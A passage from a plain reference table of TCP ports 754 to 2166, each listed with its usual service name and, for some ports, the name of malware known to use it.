    TCP  754  send
    TCP  758  nlogin
    TCP  759  con
    TCP  760  kreg, kerberos/4 registration
    TCP  761  kpwd, Kerberos/4 password
    TCP  762  quotad
    TCP  763  cycleserv
    TCP  764  omserv
    TCP  765  webster
    TCP  767  phone
    TCP  769  vid
    TCP  770  cadlock
    TCP  771  rtip
    TCP  772  cycleserv2
    TCP  773  submit
    TCP  774  rpasswd
    TCP  775  entomb
    TCP  776  wpages
    TCP  777  Multiling HTTP
    TCP  780  wpgs
    TCP  781  HP performance data collector
    TCP  782  node HP performance data managed node
    TCP  783  HP performance data alarm manager
    TCP  786  Concert
    TCP  787  QSC
    TCP  799  ControlIT / Remotely Possible
    TCP  800  mdbs_daemon / Remotely Possible
    TCP  801  device
    TCP  808  CCProxy
    TCP  810  FCP
    TCP  828  itm-mcell-s
    TCP  829  PKIX-3 CA/RA
    TCP  871  SUP server
    TCP  873  rsync
    TCP  886  ICL coNETion locate server
    TCP  887  ICL coNETion server info
    TCP  888  CD Database Protocol
    TCP  900  Check Point Firewall-1 HTTP administration / OMG Initial Refs
    TCP  901  Samba Web Administration Tool / Realsecure / SMPNAMERES/ NetDevil trojan
    TCP  902  VMware Authentication Daemon / IDEAFARM-CHAT
    TCP  903  IDEAFARM-CATCH / NetDevil trojan
    TCP  911  xact-backup
    TCP  912  VMware Authentication Daemon
    TCP  989  FTP protocol data over TLS/SSL
    TCP  990  FTP protocol control over TLS/SSL
    TCP  991  Netnews Administration System
    TCP  992  Telnet protocol over TLS/SSL
    TCP  993  IMAP4 protocol over TLS/SSL
    TCP  994  IRC protocol over TLS/SSL
    TCP  995  POP3 protocol over TLS/SSL
    TCP  996  vsinet
    TCP  997  maitrd
    TCP  998  busboy
    TCP  999  puprouter
    TCP  1000  cadlock
    TCP  1002  Microsoft Site Server Internet Locator Service (Netmeeting/ICF)
    TCP  1008  UFS-aware server
    TCP  1010  surf
    TCP  1011  Doly (Windows Trojan)
    TCP  1015  Doly (Windows Trojan)
    TCP  1023  Reserved
    TCP  1024  Reserved
    TCP  1025  MSTASK / network blackjack
    TCP  1026  MSTASK / Remote Login Network Terminal
    TCP  1030  BBN IAD
    TCP  1031  InetInfo / BBN IAD
    TCP  1032  BBN IAD
    TCP  1042  W32.Mydoom.L virus
    TCP  1047  Sun's NEO Object Request Broker
    TCP  1048  Sun's NEO Object Request Broker
    TCP  1049  Tobit David Postman VPMN
    TCP  1050  CORBA Management Agent
    TCP  1051  Optima VNET
    TCP  1052  Dynamic DNS Tools
    TCP  1053  Remote Assistant (RA)
    TCP  1054  BRVREAD
    TCP  1055  ANSYS - License Manager
    TCP  1056  VFO
    TCP  1057  STARTRON
    TCP  1058  nim
    TCP  1059  nimreg
    TCP  1060  POLESTAR
    TCP  1061  KIOSK
    TCP  1062  Veracity
    TCP  1063  KyoceraNetDev
    TCP  1064  JSTEL
    TCP  1065  SYSCOMLAN
    TCP  1066  FPO-FNS
    TCP  1067  Installation Bootstrap Proto. Serv.
    TCP  1068  Installation Bootstrap Proto. Cli.
    TCP  1069  COGNEX-INSIGHT
    TCP  1070  GMRUpdateSERV
    TCP  1071  BSQUARE-VOIP
    TCP  1072  CARDAX
    TCP  1073  BridgeControl
    TCP  1074  FASTechnologies License Manager
    TCP  1075  RDRMSHC
    TCP  1076  DAB STI-C
    TCP  1077  IMGames
    TCP  1078  eManageCstp
    TCP  1079  ASPROVATalk
    TCP  1080  Socks / W32.Beagle.AB trojan
    TCP  1081  PVUNIWIEN
    TCP  1082  AMT-ESD-PROT
    TCP  1083  Anasoft License Manager
    TCP  1084  Anasoft License Manager
    TCP  1085  Web Objects
    TCP  1086  CPL Scrambler Logging
    TCP  1087  CPL Scrambler Internal
    TCP  1088  CPL Scrambler Alarm Log
    TCP  1089  FF Annunciation
    TCP  1090  FF Fieldbus Message Specification
    TCP  1091  FF System Management
    TCP  1092  OBRPD
    TCP  1093  PROOFD
    TCP  1094  ROOTD
    TCP  1095  NICELink
    TCP  1096  Common Name Resolution Protocol
    TCP  1097  Sun Cluster Manager
    TCP  1098  RMI Activation
    TCP  1099  RMI Registry
    TCP  1100  MCTP
    TCP  1101  PT2-DISCOVER
    TCP  1102  ADOBE SERVER 1
    TCP  1103  ADOBE SERVER 2
    TCP  1104  XRL
    TCP  1105  FTRANHC
    TCP  1106  ISOIPSIGPORT-1
    TCP  1107  ISOIPSIGPORT-2
    TCP  1108  ratio-adp
    TCP  1109  Pop with Kerberos
    TCP  1110  Cluster status info
    TCP  1111  LM Social Server
    TCP  1112  Intelligent Communication Protocol
    TCP  1114  Mini SQL
    TCP  1115  ARDUS Transfer
    TCP  1116  ARDUS Control
    TCP  1117  ARDUS Multicast Transfer
    TCP  1123  Murray
    TCP  1127  SUP debugging
    TCP  1155  Network File Access
    TCP  1161  Health Polling
    TCP  1162  Health Trap
    TCP  1169  TRIPWIRE
    TCP  1178  SKK (kanji input)
    TCP  1180  Millicent Client Proxy
    TCP  1188  HP Web Admin
    TCP  1200  SCOL
    TCP  1201  Nucleus Sand
    TCP  1202  caiccipc
    TCP  1203  License Validation
    TCP  1204  Log Request Listener
    TCP  1205  Accord-MGC
    TCP  1206  Anthony Data
    TCP  1207  MetaSage
    TCP  1208  SEAGULL AIS
    TCP  1209  IPCD3
    TCP  1210  EOSS
    TCP  1211  Groove DPP
    TCP  1212  lupa
    TCP  1213  MPC LIFENET
    TCP  1214  KAZAA (Morpheus)
    TCP  1215  scanSTAT 1.0
    TCP  1216  ETEBAC 5
    TCP  1217  HPSS-NDAPI
    TCP  1218  AeroFlight-ADs
    TCP  1219  AeroFlight-Ret
    TCP  1220  QT SERVER ADMIN
    TCP  1221  SweetWARE Apps
    TCP  1222  SNI R&D network
    TCP  1223  TGP
    TCP  1224  VPNz
    TCP  1225  SLINKYSEARCH
    TCP  1226  STGXFWS
    TCP  1227  DNS2Go
    TCP  1228  FLORENCE
    TCP  1229  Novell ZFS
    TCP  1234  W32.Beagle.Y trojan / Infoseek Search Agent
    TCP  1239  NMSD
    TCP  1241  Nessus Daemon / remote message service
    TCP  1243  SubSeven (Windows Trojan)
    TCP  1245  Subseven backdoor remote access tool
    TCP  1248  hermes
    TCP  1270  Microsoft Operations Manager MOM-Encrypted
    TCP  1300  H323 Host Call Secure
    TCP  1310  Husky
    TCP  1311  RxMon
    TCP  1312  STI Envision
    TCP  1313  BMC_PATROLDB
    TCP  1314  Photoscript Distributed Printing System
    TCP  1319  Panja-ICSP
    TCP  1320  Panja-AXBNET
    TCP  1321  PIP
    TCP  1335  Digital Notary Protocol
    TCP  1345  VPJP
    TCP  1346  Alta Analytics License Manager
    TCP  1347  multi media conferencing
    TCP  1348  multi media conferencing
    TCP  1349  Registration Network Protocol
    TCP  1350  Registration Network Protocol
    TCP  1351  Digital Tool Works (MIT)
    TCP  1352  Lotus Notes
    TCP  1353  Relief Consulting
    TCP  1354  RightBrain Software
    TCP  1355  Intuitive Edge
    TCP  1356  CuillaMartin Company
    TCP  1357  Electronic PegBoard
    TCP  1358  CONNLCLI
    TCP  1359  FTSRV
    TCP  1360  MIMER
    TCP  1361  LinX
    TCP  1362  TimeFlies
    TCP  1363  Network DataMover Requester
    TCP  1364  Network DataMover Server
    TCP  1365  Network Software Associates
    TCP  1366  Novell NetWare Comm Service Platform
    TCP  1367  DCS
    TCP  1368  ScreenCast
    TCP  1369  GlobalView to Unix Shell
    TCP  1370  Unix Shell to GlobalView
    TCP  1371  Fujitsu Config Protocol
    TCP  1372  Fujitsu Config Protocol
    TCP  1373  Chromagrafx
    TCP  1374  EPI Software Systems
    TCP  1375  Bytex
    TCP  1376  IBM Person to Person Software
    TCP  1377  Cichlid License Manager
    TCP  1378  Elan License Manager
    TCP  1379  Integrity Solutions
    TCP  1380  Telesis Network License Manager
    TCP  1381  Apple Network License Manager
    TCP  1382  udt_os
    TCP  1383  GW Hannaway Network License Manager
    TCP  1384  Objective Solutions License Manager
    TCP  1385  Atex Publishing License Manager
    TCP  1386  CheckSum License Manager
    TCP  1387  Computer Aided Design Software Inc LM
    TCP  1388  Objective Solutions DataBase Cache
    TCP  1389  Document Manager
    TCP  1390  Storage Controller
    TCP  1391  Storage Access Server
    TCP  1392  Print Manager
    TCP  1393  Network Log Server
    TCP  1394  Network Log Client
    TCP  1395  PC Workstation Manager software
    TCP  1396  DVL Active Mail
    TCP  1397  Audio Active Mail
    TCP  1398  Video Active Mail
    TCP  1399  Cadkey License Manager
    TCP  1400  Cadkey Tablet Daemon
    TCP  1401  Goldleaf License Manager
    TCP  1402  Prospero Resource Manager
    TCP  1403  Prospero Resource Manager
    TCP  1404  Infinite Graphics License Manager
    TCP  1405  IBM Remote Execution Starter
    TCP  1406  NetLabs License Manager
    TCP  1407  DBSA License Manager
    TCP  1408  Sophia License Manager
    TCP  1409  Here License Manager
    TCP  1410  HiQ License Manager
    TCP  1411  AudioFile
    TCP  1412  InnoSys
    TCP  1413  Innosys-ACL
    TCP  1414  IBM MQSeries
    TCP  1415  DBStar
    TCP  1416  Novell LU6.2
    TCP  1417  Timbuktu Service 1 Port
    TCP  1418  Timbuktu Service 2 Port
    TCP  1419  Timbuktu Service 3 Port
    TCP  1420  Timbuktu Service 4 Port
    TCP  1421  Gandalf License Manager
    TCP  1422  Autodesk License Manager
    TCP  1423  Essbase Arbor Software
    TCP  1424  Hybrid Encryption Protocol
    TCP  1425  Zion Software License Manager
    TCP  1426  Satellite-data Acquisition System 1
    TCP  1427  mloadd monitoring tool
    TCP  1428  Informatik License Manager
    TCP  1429  Hypercom NMS
    TCP  1430  Hypercom TPDU
    TCP  1431  Reverse Gossip Transport
    TCP  1432  Blueberry Software License Manager
    TCP  1433  Microsoft-SQL-Server
    TCP  1434  Microsoft-SQL-Monitor
    TCP  1435  IBM CICS
    TCP  1436  Satellite-data Acquisition System 2
    TCP  1437  Tabula
    TCP  1438  Eicon Security Agent/Server
    TCP  1439  Eicon X25/SNA Gateway
    TCP  1440  Eicon Service Location Protocol
    TCP  1441  Cadis License Management
    TCP  1442  Cadis License Management
    TCP  1443  Integrated Engineering Software
    TCP  1444  Marcam License Management
    TCP  1445  Proxima License Manager
    TCP  1446  Optical Research Associates License Manager
    TCP  1447  Applied Parallel Research LM
    TCP  1448  OpenConnect License Manager
    TCP  1449  PEport
    TCP  1450  Tandem Distributed Workbench Facility
    TCP  1451  IBM Information Management
    TCP  1452  GTE Government Systems License Man
    TCP  1453  Genie License Manager
    TCP  1454  interHDL License Manager
    TCP  1455  ESL License Manager
    TCP  1456  DCA
    TCP  1457  Valisys License Manager
    TCP  1458  Nichols Research Corp.
    TCP  1459  Proshare Notebook Application
    TCP  1460  Proshare Notebook Application
    TCP  1461  IBM Wireless LAN
    TCP  1462  World License Manager
    TCP  1463  Nucleus
    TCP  1464  MSL License Manager
    TCP  1465  Pipes Platform
    TCP  1466  Ocean Software License Manager
    TCP  1467  CSDMBASE
    TCP  1468  CSDM
    TCP  1469  Active Analysis Limited License Manager
    TCP  1470  Universal Analytics
    TCP  1471  csdmbase
    TCP  1472  csdm
    TCP  1473  OpenMath
    TCP  1474  Telefinder
    TCP  1475  Taligent License Manager
    TCP  1476  clvm-cfg
    TCP  1477  ms-sna-server
    TCP  1478  ms-sna-base
    TCP  1479  dberegister
    TCP  1480  PacerForum
    TCP  1481  AIRS
    TCP  1482  Miteksys License Manager
    TCP  1483  AFS License Manager
    TCP  1484  Confluent License Manager
    TCP  1485  LANSource
    TCP  1486  nms_topo_serv
    TCP  1487  LocalInfoSrvr
    TCP  1488  DocStor
    TCP  1489  dmdocbroker
    TCP  1490  insitu-conf
    TCP  1491  anynetgateway
    TCP  1492  stone-design-1
    TCP  1493  netmap_lm
    TCP  1494  Citrix/ica
    TCP  1495  cvc
    TCP  1496  liberty-lm
    TCP  1497  rfx-lm
    TCP  1498  Sybase SQL Any
    TCP  1499  Federico Heinz Consultora
    TCP  1500  VLSI License Manager
    TCP  1501  Satellite-data Acquisition System 3
    TCP  1502  Shiva
    TCP  1503  MS Netmeeting / T.120 / Databeam
    TCP  1504  EVB Software Engineering License Manager
    TCP  1505  Funk Software Inc.
    TCP  1506  Universal Time daemon (utcd)
    TCP  1507  symplex
    TCP  1508  diagmond
    TCP  1509  Robcad Ltd. License Manager
    TCP  1510  Midland Valley Exploration Ltd. Lic. Man.
    TCP  1511  3l-l1
    TCP  1512  Microsoft's Windows Internet Name Service
    TCP  1513  Fujitsu Systems Business of America Inc
    TCP  1514  Fujitsu Systems Business of America Inc
    TCP  1515  ifor-protocol
    TCP  1516  Virtual Places Audio data
    TCP  1517  Virtual Places Audio control
    TCP  1518  Virtual Places Video data
    TCP  1519  Virtual Places Video control
    TCP  1520  atm zip office
    TCP  1521  Oracle8i Listener / nCube License Manager
    TCP  1522  Ricardo North America License Manager
    TCP  1523  cichild
    TCP  1524  dtspcd / ingres
    TCP  1525  Oracle / Prospero Directory Service non-priv
    TCP  1526  Prospero Data Access Prot non-priv
    TCP  1527  oracle
    TCP  1528  micautoreg
    TCP  1529  oracle
    TCP  1530  Oracle ExtProc (PLSExtProc) / rap-service
    TCP  1531  rap-listen
    TCP  1532  miroconnect
    TCP  1533  Virtual Places Software
    TCP  1534  micromuse-lm
    TCP  1535  ampr-info
    TCP  1536  ampr-inter
    TCP  1537  isi-lm
    TCP  1538  3ds-lm
    TCP  1539  Intellistor License Manager
    TCP  1540  rds
    TCP  1541  rds2
    TCP  1542  gridgen-elmd
    TCP  1543  simba-cs
    TCP  1544  aspeclmd
    TCP  1545  vistium-share
    TCP  1546  abbaccuray
    TCP  1547  laplink
    TCP  1548  Axon License Manager
    TCP  1549  Shiva Hose
    TCP  1550  Image Storage license manager 3M Company
    TCP  1551  HECMTL-DB
    TCP  1552  pciarray
    TCP  1553  sna-cs
    TCP  1554  CACI Products Company License Manager
    TCP  1555  livelan
    TCP  1556  AshWin CI Tecnologies
    TCP  1557  ArborText License Manager
    TCP  1558  xingmpeg
    TCP  1559  web2host
    TCP  1560  asci-val
    TCP  1561  facilityview
    TCP  1562  pconnectmgr
    TCP  1563  Cadabra License Manager
    TCP  1564  Pay-Per-View
    TCP  1565  WinDD
    TCP  1566  CORELVIDEO
    TCP  1567  jlicelmd
    TCP  1568  tsspmap
    TCP  1569  ets
    TCP  1570  orbixd
    TCP  1571  Oracle Remote Data Base
    TCP  1572  Chipcom License Manager
    TCP  1573  itscomm-ns
    TCP  1574  mvel-lm
    TCP  1575  oraclenames
    TCP  1576  moldflow-lm
    TCP  1577  hypercube-lm
    TCP  1578  Jacobus License Manager
    TCP  1579  ioc-sea-lm
    TCP  1580  tn-tl-r1
    TCP  1581  MIL-2045-47001
    TCP  1582  MSIMS
    TCP  1583  simbaexpress
    TCP  1584  tn-tl-fd2
    TCP  1585  intv
    TCP  1586  ibm-abtact
    TCP  1587  pra_elmd
    TCP  1588  triquest-lm
    TCP  1589  VQP
    TCP  1590  gemini-lm
    TCP  1591  ncpm-pm
    TCP  1592  commonspace
    TCP  1593  mainsoft-lm
    TCP  1594  sixtrak
    TCP  1595  radio
    TCP  1596  radio-sm
    TCP  1597  orbplus-iiop
    TCP  1598  picknfs
    TCP  1599  simbaservices
    TCP  1600  Bofra-A worm / issd
    TCP  1601  aas
    TCP  1602  inspect
    TCP  1603  pickodbc
    TCP  1604  icabrowser
    TCP  1605  Salutation Manager (Salutation Protocol)
    TCP  1606  Salutation Manager (SLM-API)
    TCP  1607  stt
    TCP  1608  Smart Corp. License Manager
    TCP  1609  isysg-lm
    TCP  1610  taurus-wh
    TCP  1611  Inter Library Loan
    TCP  1612  NetBill Transaction Server
    TCP  1613  NetBill Key Repository
    TCP  1614  NetBill Credential Server
    TCP  1615  NetBill Authorization Server
    TCP  1616  NetBill Product Server
    TCP  1617  Nimrod Inter-Agent Communication
    TCP  1618  skytelnet
    TCP  1619  xs-openstorage
    TCP  1620  faxportwinport
    TCP  1621  softdataphone
    TCP  1622  ontime
    TCP  1623  jaleosnd
    TCP  1624  udp-sr-port
    TCP  1625  svs-omagent
    TCP  1626  Shockwave
    TCP  1627  T.128 Gateway
    TCP  1628  LonTalk normal
    TCP  1629  LonTalk urgent
    TCP  1630  Oracle Net8 Cman
    TCP  1631  Visit view
    TCP  1632  PAMMRATC
    TCP  1633  PAMMRPC
    TCP  1634  Log On America Probe
    TCP  1635  EDB Server 1
    TCP  1636  CableNet Control Protocol
    TCP  1637  CableNet Admin Protocol
    TCP  1638  Bofra-A worm / CableNet Info Protocol
    TCP  1639  cert-initiator
    TCP  1640  cert-responder
    TCP  1641  InVision
    TCP  1642  isis-am
    TCP  1643  isis-ambc
    TCP  1644  Satellite-data Acquisition System 4
    TCP  1645  datametrics
    TCP  1646  sa-msg-port
    TCP  1647  rsap
    TCP  1648  concurrent-lm
    TCP  1649  kermit
    TCP  1650  nkd
    TCP  1651  shiva_confsrvr
    TCP  1652  xnmp
    TCP  1653  alphatech-lm
    TCP  1654  stargatealerts
    TCP  1655  dec-mbadmin
    TCP  1656  dec-mbadmin-h
    TCP  1657  fujitsu-mmpdc
    TCP  1658  sixnetudr
    TCP  1659  Silicon Grail License Manager
    TCP  1660  skip-mc-gikreq
    TCP  1661  netview-aix-1
    TCP  1662  netview-aix-2
    TCP  1663  netview-aix-3
    TCP  1664  netview-aix-4
    TCP  1665  netview-aix-5
    TCP  1666  netview-aix-6
    TCP  1667  netview-aix-7
    TCP  1668  netview-aix-8
    TCP  1669  netview-aix-9
    TCP  1670  netview-aix-10
    TCP  1671  netview-aix-11
    TCP  1672  netview-aix-12
    TCP  1673  Intel Proshare Multicast
    TCP  1674  Intel Proshare Multicast
    TCP  1675  Pacific Data Products
    TCP  1676  netcomm1
    TCP  1677  groupwise
    TCP  1678  prolink
    TCP  1679  darcorp-lm
    TCP  1680  microcom-sbp
    TCP  1681  sd-elmd
    TCP  1682  lanyon-lantern
    TCP  1683  ncpm-hip
    TCP  1684  SnareSecure
    TCP  1685  n2nremote
    TCP  1686  cvmon
    TCP  1687  nsjtp-ctrl
    TCP  1688  nsjtp-data
    TCP  1689  firefox
    TCP  1690  ng-umds
    TCP  1691  empire-empuma
    TCP  1692  sstsys-lm
    TCP  1693  rrirtr
    TCP  1694  rrimwm
    TCP  1695  rrilwm
    TCP  1696  rrifmm
    TCP  1697  rrisat
    TCP  1698  RSVP-ENCAPSULATION-1
    TCP  1699  RSVP-ENCAPSULATION-2
    TCP  1700  mps-raft
    TCP  1701  l2tp / AOL
    TCP  1702  deskshare
    TCP  1703  hb-engine
    TCP  1704  bcs-broker
    TCP  1705  slingshot
    TCP  1706  jetform
    TCP  1707  vdmplay
    TCP  1708  gat-lmd
    TCP  1709  centra
    TCP  1710  impera
    TCP  1711  pptconference
    TCP  1712  resource monitoring service
    TCP  1713  ConferenceTalk
    TCP  1714  sesi-lm
    TCP  1715  houdini-lm
    TCP  1716  xmsg
    TCP  1717  fj-hdnet
    TCP  1718  h323gatedisc
    TCP  1719  h323gatestat
    TCP  1720  h323hostcall
    TCP  1721  caicci
    TCP  1722  HKS License Manager
    TCP  1723  pptp
    TCP  1724  csbphonemaster
    TCP  1725  iden-ralp
    TCP  1726  IBERIAGAMES
    TCP  1727  winddx
    TCP  1728  TELINDUS
    TCP  1729  CityNL License Management
    TCP  1730  roketz
    TCP  1731  MS Netmeeting / Audio call control / MSICCP
    TCP  1732  proxim
    TCP  1733  SIMS - SIIPAT Protocol for Alarm Transmission
    TCP  1734  Camber Corporation License Management
    TCP  1735  PrivateChat
    TCP  1736  street-stream
    TCP  1737  ultimad
    TCP  1738  GameGen1
    TCP  1739  webaccess
    TCP  1740  encore
    TCP  1741  cisco-net-mgmt
    TCP  1742  3Com-nsd
    TCP  1743  Cinema Graphics License Manager
    TCP  1744  ncpm-ft
    TCP  1745  ISA Server proxy autoconfig / Remote Winsock
    TCP  1746  ftrapid-1
    TCP  1747  ftrapid-2
    TCP  1748  oracle-em1
    TCP  1749  aspen-services
    TCP  1750  Simple Socket Library's PortMaster
    TCP  1751  SwiftNet
    TCP  1752  Leap of Faith Research License Manager
    TCP  1753  Translogic License Manager
    TCP  1754  oracle-em2
    TCP  1755  Microsoft Streaming Server
    TCP  1756  capfast-lmd
    TCP  1757  cnhrp
    TCP  1758  tftp-mcast
    TCP  1759  SPSS License Manager
    TCP  1760  www-ldap-gw
    TCP  1761  cft-0
    TCP  1762  cft-1
    TCP  1763  cft-2
    TCP  1764  cft-3
    TCP  1765  cft-4
    TCP  1766  cft-5
    TCP  1767  cft-6
    TCP  1768  cft-7
    TCP  1769  bmc-net-adm
    TCP  1770  bmc-net-svc
    TCP  1771  vaultbase
    TCP  1772  EssWeb Gateway
    TCP  1773  KMSControl
    TCP  1774  global-dtserv
    TCP  1776  Federal Emergency Management Information System
    TCP  1777  powerguardian
    TCP  1778  prodigy-internet
    TCP  1779  pharmasoft
    TCP  1780  dpkeyserv
    TCP  1781  answersoft-lm
    TCP  1782  HP JetSend
    TCP  1783  Port 04/14/00 fujitsu.co.jp
    TCP  1784  Finle License Manager
    TCP  1785  Wind River Systems License Manager
    TCP  1786  funk-logger
    TCP  1787  funk-license
    TCP  1788  psmond
    TCP  1789  hello
    TCP  1790  Narrative Media Streaming Protocol
    TCP  1791  EA1
    TCP  1792  ibm-dt-2
    TCP  1793  rsc-robot
    TCP  1794  cera-bcm
    TCP  1795  dpi-proxy
    TCP  1796  Vocaltec Server Administration
    TCP  1797  UMA
    TCP  1798  Event Transfer Protocol
    TCP  1799  NETRISK
    TCP  1800  ANSYS-License manager
    TCP  1801  Microsoft Message Queuing
    TCP  1802  ConComp1
    TCP  1803  HP-HCIP-GWY
    TCP  1804  ENL
    TCP  1805  ENL-Name
    TCP  1806  Musiconline
    TCP  1807  Fujitsu Hot Standby Protocol
    TCP  1808  Oracle-VP2
    TCP  1809  Oracle-VP1
    TCP  1810  Jerand License Manager
    TCP  1811  Scientia-SDB
    TCP  1812  RADIUS
    TCP  1813  RADIUS Accounting / HackTool.SkSocket
    TCP  1814  TDP Suite
    TCP  1815  MMPFT
    TCP  1816  HARP
    TCP  1817  RKB-OSCS
    TCP  1818  Enhanced Trivial File Transfer Protocol
    TCP  1819  Plato License Manager
    TCP  1820  mcagent
    TCP  1821  donnyworld
    TCP  1822  es-elmd
    TCP  1823  Unisys Natural Language License Manager
    TCP  1824  metrics-pas
    TCP  1825  DirecPC Video
    TCP  1826  ARDT
    TCP  1827  ASI
    TCP  1828  itm-mcell-u
    TCP  1829  Optika eMedia
    TCP  1830  Oracle Net8 CMan Admin
    TCP  1831  Myrtle
    TCP  1832  ThoughtTreasure
    TCP  1833  udpradio
    TCP  1834  ARDUS Unicast
    TCP  1835  ARDUS Multicast
    TCP  1836  ste-smsc
    TCP  1837  csoft1
    TCP  1838  TALNET
    TCP  1839  netopia-vo1
    TCP  1840  netopia-vo2
    TCP  1841  netopia-vo3
    TCP  1842  netopia-vo4
    TCP  1843  netopia-vo5
    TCP  1844  DirecPC-DLL
    TCP  1850  GSI
    TCP  1851  ctcd
    TCP  1860  SunSCALAR Services
    TCP  1861  LeCroy VICP
    TCP  1862  techra-server
    TCP  1863  MSN Messenger
    TCP  1864  Paradym 31 Port
    TCP  1865  ENTP
    TCP  1870  SunSCALAR DNS Service
    TCP  1871  Cano Central 0
    TCP  1872  Cano Central 1
    TCP  1873  Fjmpjps
    TCP  1874  Fjswapsnp
    TCP  1881  IBM MQSeries
    TCP  1895  Vista 4GL
    TCP  1899  MC2Studios
    TCP  1900  SSDP
    TCP  1901  Fujitsu ICL Terminal Emulator Program A
    TCP  1902  Fujitsu ICL Terminal Emulator Program B
    TCP  1903  Local Link Name Resolution
    TCP  1904  Fujitsu ICL Terminal Emulator Program C
    TCP  1905  Secure UP.Link Gateway Protocol
    TCP  1906  TPortMapperReq
    TCP  1907  IntraSTAR
    TCP  1908  Dawn
    TCP  1909  Global World Link
    TCP  1910  ultrabac
    TCP  1911  Starlight Networks Multimedia Transport Protocol
    TCP  1912  rhp-iibp
    TCP  1913  armadp
    TCP  1914  Elm-Momentum
    TCP  1915  FACELINK
    TCP  1916  Persoft Persona
    TCP  1917  nOAgent
    TCP  1918  Candle Directory Service - NDS
    TCP  1919  Candle Directory Service - DCH
    TCP  1920  Candle Directory Service - FERRET
    TCP  1921  NoAdmin
    TCP  1922  Tapestry
    TCP  1923  SPICE
    TCP  1924  XIIP
    TCP  1930  Drive AppServer
    TCP  1931  AMD SCHED
    TCP  1944  close-combat
    TCP  1945  dialogic-elmd
    TCP  1946  tekpls
    TCP  1947  hlserver
    TCP  1948  eye2eye
    TCP  1949  ISMA Easdaq Live
    TCP  1950  ISMA Easdaq Test
    TCP  1951  bcs-lmserver
    TCP  1952  mpnjsc
    TCP  1953  Rapid Base
    TCP  1961  BTS APPSERVER
    TCP  1962  BIAP-MP
    TCP  1963  WebMachine
    TCP  1964  SOLID E ENGINE
    TCP  1965  Tivoli NPM
    TCP  1966  Slush
    TCP  1967  SNS Quote
    TCP  1972  Cache
    TCP  1973  Data Link Switching Remote Access Protocol
    TCP  1974  DRP
    TCP  1975  TCO Flash Agent
    TCP  1976  TCO Reg Agent
    TCP  1977  TCO Address Book
    TCP  1978  UniSQL
    TCP  1979  UniSQL Java
    TCP  1984  BB
    TCP  1985  Hot Standby Router Protocol
    TCP  1986  cisco license management
    TCP  1987  cisco RSRB Priority 1 port
    TCP  1988  cisco RSRB Priority 2 port
    TCP  1989  MHSnet system
    TCP  1990  cisco STUN Priority 1 port
    TCP  1991  cisco STUN Priority 2 port
    TCP  1992  IPsendmsg
    TCP  1993  cisco SNMP TCP port
    TCP  1994  cisco serial tunnel port
    TCP  1995  cisco perf port
    TCP  1996  cisco Remote SRB port
    TCP  1997  cisco Gateway Discovery Protocol
    TCP  1998  cisco X.25 service (XOT)
    TCP  1999  cisco identification port / SubSeven (Windows Trojan) / Backdoor (Windows Trojan)
    TCP  2000  Remotely Anywhere / VIA NET.WORKS PostOffice Plus
    TCP  2001  Cisco mgmt / Remotely Anywhere
    TCP  2002  globe
    TCP  2003  GNU finger
    TCP  2004  mailbox
    TCP  2005  encrypted symmetric telnet/login
    TCP  2006  invokator
    TCP  2007  dectalk
    TCP  2008  conf
    TCP  2009  news
    TCP  2010  search
    TCP  2011  raid
    TCP  2012  ttyinfo
    TCP  2013  raid-am
    TCP  2014  troff
    TCP  2015  cypress
    TCP  2016  bootserver
    TCP  2017  cypress-stat
    TCP  2018  terminaldb
    TCP  2019  whosockami
    TCP  2020  xinupageserver
    TCP  2021  servexec
    TCP  2022  down
    TCP  2023  xinuexpansion3
    TCP  2024  xinuexpansion4
    TCP  2025  ellpack
    TCP  2026  scrabble
    TCP  2027  shadowserver
    TCP  2028  submitserver
    TCP  2030  device2
    TCP  2032  blackboard
    TCP  2033  glogger
    TCP  2034  scoremgr
    TCP  2035  imsldoc
    TCP  2038  objectmanager
    TCP  2040  lam
    TCP  2041  W32.Korgo Worm / interbase
    TCP  2042  isis
    TCP  2043  isis-bcast
    TCP  2044  rimsl
    TCP  2045  cdfunc
    TCP  2046  sdfunc
    TCP  2047  dls
    TCP  2048  dls-monitor
    TCP  2049  Network File System - Sun Microsystems
    TCP  2053  Kerberos de-multiplexer
    TCP  2054  distrib-net
    TCP  2065  Data Link Switch Read Port Number
    TCP  2067  Data Link Switch Write Port Number
    TCP  2080  Wingate
    TCP  2090  Load Report Protocol
    TCP  2091  PRP
    TCP  2092  Descent 3
    TCP  2093  NBX CC
    TCP  2094  NBX AU
    TCP  2095  NBX SER
    TCP  2096  NBX DIR
    TCP  2097  Jet Form Preview
    TCP  2098  Dialog Port
    TCP  2099  H.225.0 Annex G
    TCP  2100  amiganetfs
    TCP  2101  Microsoft Message Queuing / rtcm-sc104
    TCP  2102  Zephyr server
    TCP  2103  Microsoft Message Queuing RPC / Zephyr serv-hm connection
    TCP  2104  Zephyr hostmanager
    TCP  2105  Microsoft Message Queuing RPC / MiniPay
    TCP  2106  MZAP
    TCP  2107  Microsoft Message Queuing Management / BinTec Admin
    TCP  2108  Comcam
    TCP  2109  Ergolight
    TCP  2110  UMSP
    TCP  2111  DSATP
    TCP  2112  Idonix MetaNet
    TCP  2113  HSL StoRM
    TCP  2114  NEWHEIGHTS
    TCP  2115  KDM / Bugs (Windows Trojan)
    TCP  2116  CCOWCMR
    TCP  2117  MENTACLIENT
    TCP  2118  MENTASERVER
    TCP  2119  GSIGATEKEEPER
    TCP  2120  Quick Eagle Networks CP
    TCP  2121  CCProxy FTP / SCIENTIA-SSDB
    TCP  2122  CauPC Remote Control
    TCP  2123  GTP-Control Plane (3GPP)
    TCP  2124  ELATELINK
    TCP  2125  LOCKSTEP
    TCP  2126  PktCable-COPS
    TCP  2127  INDEX-PC-WB
    TCP  2128  Net Steward Control
    TCP  2129  cs-live.com
    TCP  2130  SWC-XDS
    TCP  2131  Avantageb2b
    TCP  2132  AVAIL-EPMAP
    TCP  2133  ZYMED-ZPP
    TCP  2134  AVENUE
    TCP  2135  Grid Resource Information Server
    TCP  2136  APPWORXSRV
    TCP  2137  CONNECT
    TCP  2138  UNBIND-CLUSTER
    TCP  2139  IAS-AUTH
    TCP  2140  IAS-REG
    TCP  2141  IAS-ADMIND
    TCP  2142  TDM-OVER-IP
    TCP  2143  Live Vault Job Control
    TCP  2144  Live Vault Fast Object Transfer
    TCP  2145  Live Vault Remote Diagnostic Console Support
    TCP  2146  Live Vault Admin Event Notification
    TCP  2147  Live Vault Authentication
    TCP  2148  VERITAS UNIVERSAL COMMUNICATION LAYER
    TCP  2149  ACPTSYS
    TCP  2150  DYNAMIC3D
    TCP  2151  DOCENT
    TCP  2152  GTP-User Plane (3GPP)
    TCP  2165  X-Bone API
    TCP  2166  IWSERVER
